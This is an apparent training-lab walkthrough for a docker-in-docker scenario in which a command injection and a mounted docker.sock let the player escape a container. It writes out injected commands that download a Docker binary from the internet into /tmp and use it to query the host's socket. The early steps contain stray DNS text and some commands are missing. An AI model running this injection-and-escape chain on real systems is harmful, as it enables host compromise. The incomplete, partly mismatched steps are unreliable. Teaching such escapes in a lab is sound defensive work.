⎈ DIND (docker-in-docker) exploitation
In this scenario, we will be focusing on the common and standard ways how to build systems and pipelines that leverage container sockets to create, build and run containers from the underlying container runtime. This has been exploited since the early days of the container ecosystem and even today we see these misconfigurations/use cases in the real world.
By the end of the scenario, we will understand and learn the following
- You will learn to test and exploit the container UNIX socket misconfigurations
- Able to exploit container and escape out of the docker container
- Learn common misconfigurations in pipelines and CI/CD build systems
⚡️ The story
Most of the CI/CD and pipeline systems use the underlying host Docker runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system by escaping out of the docker container.
- To get started with the scenario, navigate to http://127.0.0.1:1231
The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on the host system.
If you can able to obtain container images in the host system then you have completed this scenario. But definitely, you can advance beyond this exploitation as well by performing post-exploitation.
🪄 Hints & Spoilers
✨ Do you know how to run multiple commands in Linux?
✨ Able to run system commands, not sure how to access containers?
🎉 Solution & Walkthrough
🎲 Method 1
- Start by checking that DNS resolution is working for your cluster. If this doesn't work, check to see if you have a DNS service like CoreDNS running on your cluster.
- if you get your local domain appended, try using
- If you have to do this, you should always add a . after a url, even in wget commands. The extra dot is required is that kubernetes has a default option of ndots:5 in /etc/resolv.conf, which is verifiable in this scenario. This means that unless a minimum of 5 dots are present, the domain is not assumed to be a FQDN.
- By looking at the application functionality and dabbling with the input and output, we can see it has standard command injection vulnerability. Assuming it's running in a Linux container we can use the
;delimiter to run/pass other commands
As we can see it returns the response for the
idcommand, now we can analyze the system and see what potential information we can obtain
docker.sockmounted into the file system as it's not available commonly in standard systems
- Wow! we can see the
/custom/docker/docker.sockmounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket
We can use multiple methods for communicating with the
docker.sock UNIX socket. Some of them include official docker binary, or a simple
curl program as well.
- Next we can download the official
dockerstatic binary from the internet https://download.docker.com/linux/static/stable/. In order to determine which binary we need, we can run the following command for system discovery
- We can examine the output to determine our system architecture and OS, then download the appropriate docker binary to the container. For example, if our target system is a x86_64 Linux box, we can use the following command
;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz
- We can extract the binary from the
docker-19.03.9.tgzfile so that we can use that to talk to the UNIX socket
;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/
- Now we can access the host system by running the following docker commands with passing
;/tmp/docker/docker -H unix:///custom/docker/docker.sock images
- Hooray 🥳 , now we can see that it has a lot of container images in the host system. We can now use different docker commands to gain more access and further exploitation